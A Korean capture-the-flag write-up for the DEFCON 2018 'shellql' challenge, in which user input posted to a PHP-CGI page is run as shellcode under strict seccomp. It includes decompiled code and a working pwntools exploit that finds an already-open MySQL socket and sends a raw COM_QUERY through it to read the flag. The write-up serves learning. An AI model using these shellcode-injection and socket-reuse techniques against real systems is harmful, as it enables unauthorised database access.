Description
Category: Pwnable
Source: DEFCON CTF 2018 Quals.
Points: 118
Author: Jisoon Park(js00n.park)
Description:
Do you even SQL? The flag is in the table flag
http://ssat-ps.iptime.org:5103
download
Write-up
(*. 문제 환경을 재구성하여 풀이하였습니다.)
문제 사이트에 접속하면 shell을 입력하라고 한다. 뭘 입력해야 할지 모르겠는데, debug me 메뉴가 있으니 들어가보자.
$link = mysqli_connect('localhost', 'shellql', 'shellql', 'shellql');
if (isset($_POST['shell']))
{
if (strlen($_POST['shell']) <= 1000)
{
echo $_POST['shell'];
shellme($_POST['shell']);
}
exit();
}
php-cgi 소스 코드가 보인다. 우선 shellql database에 연결을 만들고, 내가 보낸 shell을 shellme() 함수를 통해 호출하는 간단한 코드이다.
cgi니까 shelle() 함수는 첨부된 shellme.so 파일에 정의되어 있을 것 같다. IDA로 shellme.so를 열어보자.
Php::Value *__fastcall shellme(Php::Value *this, __int64 *a2)
{
__int64 v2; // rsi
void *src; // [rsp+0h] [rbp-48h]
__int64 v5; // [rsp+10h] [rbp-38h]
unsigned __int64 v6; // [rsp+28h] [rbp-20h]
v2 = *a2;
v6 = __readfsqword(0x28u);
ZNK3Php5Value11stringValueB5cxx11Ev(&src, v2);
j_shell_this(src);
Php::Value::Value(this, 1);
if ( src != &v5 )
operator delete(src);
return this;
}
__int64 __fastcall j_shell_this(void *src)
{
return shell_this(src);
}
__int64 __fastcall shell_this(void *src)
{
size_t v1; // rbx
void *v2; // rbp
v1 = (signed int)strlen((const char *)src);
v2 = mmap(0LL, v1, 7, 34, -1, 0LL);
memcpy(v2, src, v1);
alarm(0x1Eu);
prctl(22, 1LL);
return ((__int64 (*)(void))v2)();
}
shellme() 함수는 php에서 넘어온 파라미터를 이용하여 argument로 전달된 shell string을 복구하고 j_shell_this() 함수로 넘기는데, j_shell_this() 함수는 그냥 shell_this() 함수를 호출하는 함수이다.
shell_this() 함수는 mmap으로 메모리 구역을 설정한 후 전달받은 데이터를 복사해넣고 해당 메모리를 호출하여 실행한다.
참고로, mmap()은 아래와 같은 모양을 하고 있다.
void * mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);
메모리의 적당한 영역에 v1(src 길이)만큼의 메모리를 할당하고, RWX 권한을 부여하는데 flags는 MAP_ANONYMOUS | MAP_PRIVATE로 설정하여 다른 프로세스와 공유되지 않도록 하였다. (MAP_ANONYMOUS라서 fd는 -1, offset은 0이다.)
prctl() 함수는 SECCOMP를 걸어주는 함수인데, prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT)이 걸려있다. 이 모드에서는 read()/write()/exit()/sigret() syscall만 사용할 수 있다고 한다.
SECCOMP 제약만 만족하는 shellcode를 써주면 그대로 실행해주는 함수를 친절하게 제공해주니 shellcode를 잘 쓰면 될 것 같은데, native program에서 mysql을 어떻게 사용할 수 있는지가 문제에서 묻는 내용인 것 같다.
처음에 php-cgi 코드를 봤을 때는 sqli_connect() 함수를 호출하는 라인이 mysql 계정과 database를 알려주기 위해서 작성된거라고 생각해서 c의 mysql connector를 shellcode로 작성하려고 했는데, 보면 볼수록 답이 보이질 않았다.
mysql은 tcp 3306 포트를 통해 서비스 되니, 소켓 통신이 가능할지 살펴보자. seccomp 때문에 소켓을 새로 열 수는 없지만 php-cgi에서 이미 연결을 만들었으니 소켓이 열려있을 수도 있을 것 같다. linux에서는 파일이건 소켓이건 모두 file로 간주되니 소켓이 열려있다면 file descriptor를 사용할 수 있을것이다.
In Unix and related computer operating systems, a file descriptor (FD, less frequently fildes) is an abstract indicator (handle) used to access a file or other input/output resource, such as a pipe or network socket.
알다시피, file descriptor 0, 1, 2번은 예약 되어 있고 보통 순서대로 열리니 3번 부터 write를 시도해보자.
[...]
context(arch='amd64', os='linux')
#URL = 'http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php'
URL = 'http://ssat-ps.iptime.org:5103/cgi-bin/index.php'
print "fd write test(3~9)"
fd = []
for i in range(3, 10):
msg = "A" * 8
payload = shellcraft.echo("Content-type: text/html\n\n", 1) #cgi header
payload += shellcraft.write(i, msg, len(msg))
payload += "add eax, 48\n"
payload += "mov [rsp], rax\n"
payload += shellcraft.write(1, 'rsp', 1)
data = {'shell': asm(payload)}
res = requests.post(URL, data = data)
if res.text == str(len(msg)):
print "%d is alive!"%i
fd.append(i)
위 코드는 3번부터 9번 fd까지에 특정 메세지를 write한 후 return value(rax)를 이용해서 write가 성공하는지 확인한다. shellcraft에서 echo나 write를 할때 rsp를 string buffer로 활용하길래 출력 buffer도 rsp를 이용하였다.
처음에는 코드를 제대로 구성한 것 같은데도 http 500 response가 오면서 출력 결과를 확인할 수 없었는데, 찾아보니 cgi 프로그램에서는 가장 먼저 MIME-type 헤더 출력이 있어야 한다고 해서 추가해 주었더니 정상적으로 출력을 확인할 수 있었다. (Content-type 없이 그냥 "" 하나만 넣어도 정상동작한다. 빈 줄이 필요한걸 보면 cgi 출력이 html response 헤더에 바로 attach 되나보다.)
코드 실행결과 3번과 4번 fd가 열려 있는 것을 확인할 수 있다.
3번 또는 4번 포트가 mysql 포트라면, query에 대해 response도 확인할 수 있어야 할 것이다.
위와 동일한 방법으로 write 후에 돌아오는 response를 read로 확인해보자.
print "\nfd read test for writable ports"
for i in fd:
msg = "A" * 8
payload = shellcraft.echo("Content-type: text/html\n\n", 1) #cgi header
payload += shellcraft.write(i, msg, len(msg))
payload += shellcraft.read(i, 'rsp', 10)
payload += shellcraft.write(1, 'rsp', 'rax')
data = {'shell': asm(payload)}
res = requests.post(URL, data=data)
if len(res.text) > 0:
print "%d is available."%i
mysql_port = i
3번과 4번 포트 중에 4번 포트에만 response가 있었다. mysql은 4번 포트를 사용할 가능성이 매우 높아 보인다.
이제 4번 포트를 이용해서 mysql query를 날려보자.
mysql documentation에 따르면 mysql protocol은 connection phase - command phase - replication phase가 있다고 한다.
connection phase는 처음 database에 접속하는 과정이며, 이 문제에서는 php-cgi에서 mysqli_connect() 함수가 실행될때 완료되었을테니 바로 command phase로 넘어가면 된다.
command phase는 database에 query를 날리는 과정이다. query를 날릴 때는 COM_QUERY를 이용한다고 한다. COM_QUERY는 [length | 0x03 | Query] 형식으로 구성되는데 length는 4 byte little endian이란다. (나중에 writeup들을 봤더니 mysql query를 wireshark로 잡아서 COM_QUERY 구조를 알아낸 팀도 있었다.)
print "\nget query result"
msg = "\x03" + "select * from flag" #COM-QUERY format
msg = p32(len(msg)) + msg
payload = shellcraft.echo("Content-type: text/html\n\n", 1) #cgi header
payload += shellcraft.write(mysql_port, msg, len(msg))
payload += shellcraft.read(mysql_port, 'rsp', 200)
payload += shellcraft.write(1, 'rsp', 'rax')
data = {'shell': asm(payload)}
res = requests.post(URL, data=data)
pattern = re.compile(r'OOO{.+}')
print re.search(pattern, res.text).group()
처음에는 100 바이트만 읽었는데, flag가 짤려서 나왔다. res.text 전체를 출력하면 여러 지저분한 값들이 많이 나오는데, 아마 COM_QUERY에 대한 응답 형식일 것 같으나 별 관심은 없어서 flag만 잘라내었다.
여기까지의 코드를 모두 실행하면 flag를 얻을 수 있다.
Flag : OOO{shellcode and webshell is old news, get with the times my friend!}